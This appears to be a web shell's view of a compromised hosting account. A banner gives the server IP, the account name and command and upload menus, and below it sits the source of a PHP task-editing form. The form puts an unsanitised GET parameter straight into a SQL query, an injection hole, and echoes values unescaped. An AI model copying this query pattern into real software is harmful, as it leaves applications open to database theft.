MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/localapp/vendor/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/localapp/vendor/update-task copy.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("inc/config.php");;
 
?>

<!DOCTYPE html>
<html lang="en">
    
<?php require "inc/head.php"; ?>

    <body>
        <!-- header-->
        <?php require "inc/header.php"; ?>
        <!-- End Main-content Top bar-->

        <!-- main-content-->
        <div class="wrapper">
        <?php require "inc/sidebar.php"; ?>

            <div id="content">
                <div class="row mb-4">
                    <div class="col-12 col-sm-12">
                        <div class="row">
                            <div class="col-12 col-md-12 mb-4">
                                <div class="card redial-border-light redial-shadow">
                                    <div class="card-body" style="overflow: visible;">
                                        <!-- <h6 class="header-title pl-3 redial-relative">Advanced Select</h6> -->
                                        <div class="card redial-border-light redial-shadow mb-4">
                                    <div class="card-body">
                                        <h6 class="header-title pl-3 redial-relative">Project Form</h6>


                                        <?php
                                                $id = $_GET['id'];
                                                $query = "SELECT * FROM tasks WHERE id='$id'";
                                                $query_run =mysqli_query($conn, $query);
                                                if(mysqli_num_rows($query_run) > 0){
                                                foreach($query_run as $row){
                                            ?>
                                      <form action="add_task.php" method="post">
                                        <input type="hidden" name="id" value="<?php echo $row['id']; ?>">

                                                <div class="row">
                                                    <div class="col-md-6">
                                                        <div class="form-group">
                                                            <label class="redial-font-weight-600">Project Name</label>
                                                            <input type="text" name="project_name" class="form-control" value="<?php echo $row['project_name']; ?>" />
                                                        </div>
                                                    </div>

                                                    <div class="col-md-6">
                                                        <div class="form-group">
                                                            <label class="redial-font-weight-600">Task Name</label>
                                                            <input type="text" name="task_name" class="form-control" value="<?php echo $row['task_name']; ?>" />
                                                        </div>
                                                    </div>
                                                </div>

                                                <div class="row">
                                                    <div class="col-md-6">
                                                        <div class="form-group">
                                                            <label class="redial-font-weight-600">Start Date & Time</label>
                                                            <input type="datetime-local" id="start_datetime" name="start_datetime" class="form-control" value="<?php echo $row['start_datetime']; ?>" />
                                                        </div>
                                                    </div>

                                                    <div class="col-md-6">
                                                        <div class="form-group">
                                                            <label class="redial-font-weight-600">End Date & Time</label>
                                                            <input type="datetime-local" id="end_datetime" name="end_datetime" class="form-control" value="<?php echo $row['end_datetime']; ?>" />
                                                        </div>
                                                    </div>

                                                    <div class="col-md-12">
                                                        <div class="form-group">
                                                            <label class="redial-font-weight-600">Total Time (Hours)</label>
                                                            <input type="text" id="total_time" name="total_time" class="form-control" value="<?php echo $row['total_time']; ?>" readonly />
                                                        </div>
                                                    </div>
                                                </div>

                                                <div class="form-group">
                                                    <label class="redial-font-weight-600">Total Amt</label>
                                                    <input type="text" class="form-control" id="total_amt" name="total_amt" value="<?php echo $row['total_amt']; ?>" readonly />
                                                </div>

                                                <div class="row">
                                                <?php
                                              
                                                $employee_query = "SELECT * FROM projects";
                                                $employee_query_run = mysqli_query($conn, $employee_query);

                                                if (mysqli_num_rows($employee_query_run) > 0) {
                                                ?>
                                                    <div class="col-md-6">
                                                        <div class="form-group">
                                                            <label class="redial-font-weight-600">Employee Name</label>
                                                            <select name="emp_name" id="emp_name" class="form-control">
                                                                <option value="" disabled>Select Employee</option>
                                                                <?php foreach ($employee_query_run as $employee) { 
                                                                   
                                                                    $full_name = $employee['femp_name'] . ' ' . $employee['lemp_name'];
                                                                ?>
                                                                    <option value="<?php echo $full_name; ?>" 
                                                                        data-erh="<?php echo $employee['erh']; ?>" 
                                                                        <?php echo ($full_name === $row['emp_name']) ? 'selected' : ''; ?>>
                                                                        <?php echo $full_name; ?>
                                                                    </option>
                                                                <?php } ?>
                                                            </select>
                                                        </div>
                                                    </div>

                                                   
                                                <?php } else { ?>
                                                    <p>No employees found</p>
                                                <?php } ?>
                                            </div>


                                                <div class="redial-divider my-4"></div>
                                                <button type="submit" name="update_task" class="btn btn-primary btn-xs">Submit</button>
                                            </form>



                                        <?php }} ?>
                                    </div>
                                </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                      
                    </div>
                </div>    
            </div>
        </div>
        <!-- End main-content-->

        <!-- Top To Bottom-->
            <a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50"> 
            <h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4>
        </a>
        <!-- End Top To Bottom-->

        <!-- Chat-->
    
        <!-- End Chat-->
        
        <!-- jQuery -->

        <script>
    document.addEventListener('DOMContentLoaded', function () {
        const startDateTimeInput = document.getElementById('start_datetime');
        const endDateTimeInput = document.getElementById('end_datetime');
        const totalTimeInput = document.getElementById('total_time');

        function calculateTotalTime() {
            const startDateTime = startDateTimeInput.value;
            const endDateTime = endDateTimeInput.value;

            if (startDateTime && endDateTime) {
                const start = new Date(startDateTime);
                const end = new Date(endDateTime);

                if (end > start) {
                    const diffMs = end - start; // Difference in milliseconds
                    const diffDays = Math.floor(diffMs / (1000 * 60 * 60 * 24));
                    const diffHrs = Math.floor((diffMs % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
                    const diffMins = Math.floor((diffMs % (1000 * 60 * 60)) / (1000 * 60));

                    totalTimeInput.value = `${diffDays}d ${diffHrs}h ${diffMins}m`;
                } else {
                    alert('End date and time must be after start date and time');
                    totalTimeInput.value = '';
                }
            }
        }

        endDateTimeInput.addEventListener('change', calculateTotalTime);
    });
</script>



<!-- total Amt -->
<script>
    document.addEventListener('DOMContentLoaded', function () {
        const startDatetimeInput = document.getElementById('start_datetime');
        const endDatetimeInput = document.getElementById('end_datetime');
        const totalTimeInput = document.getElementById('total_time');
        const erhInput = document.getElementById('erh');
        const totalAmtInput = document.getElementById('total_amt');
        const empNameSelect = document.getElementById('emp_name');

        // Calculate total time in hours
        function calculateTotalTime() {
            const start = new Date(startDatetimeInput.value);
            const end = new Date(endDatetimeInput.value);
            if (start && end && start < end) {
                const diffMs = end - start; // Difference in milliseconds
                const diffHours = diffMs / (1000 * 60 * 60); // Convert to hours
                totalTimeInput.value = diffHours.toFixed(2); // Display 2 decimal places
                return diffHours;
            } else {
                totalTimeInput.value = '';
                return 0;
            }
        }

        // Calculate total amount
        function calculateTotalAmt() {
            const totalTime = calculateTotalTime();
            const hourlyRate = parseFloat(erhInput.value) || 0;
            const totalAmt = totalTime * hourlyRate;
            totalAmtInput.value = totalAmt.toFixed(2); // Display 2 decimal places
        }

        // Update hourly rate on employee selection change
        empNameSelect.addEventListener('change', function () {
            const selectedOption = empNameSelect.options[empNameSelect.selectedIndex];
            erhInput.value = selectedOption.getAttribute('data-erh') || 0;
            calculateTotalAmt();
        });

        // Recalculate total amount on start/end datetime changes
        startDatetimeInput.addEventListener('change', calculateTotalAmt);
        endDatetimeInput.addEventListener('change', calculateTotalAmt);
    });
</script>
<!-- end total amt -->



        <script src="dist/js/plugins.min.js"></script>       
    
        <script src="dist/js/common.js"></script>
    </body>

</html>

MMCT - 2023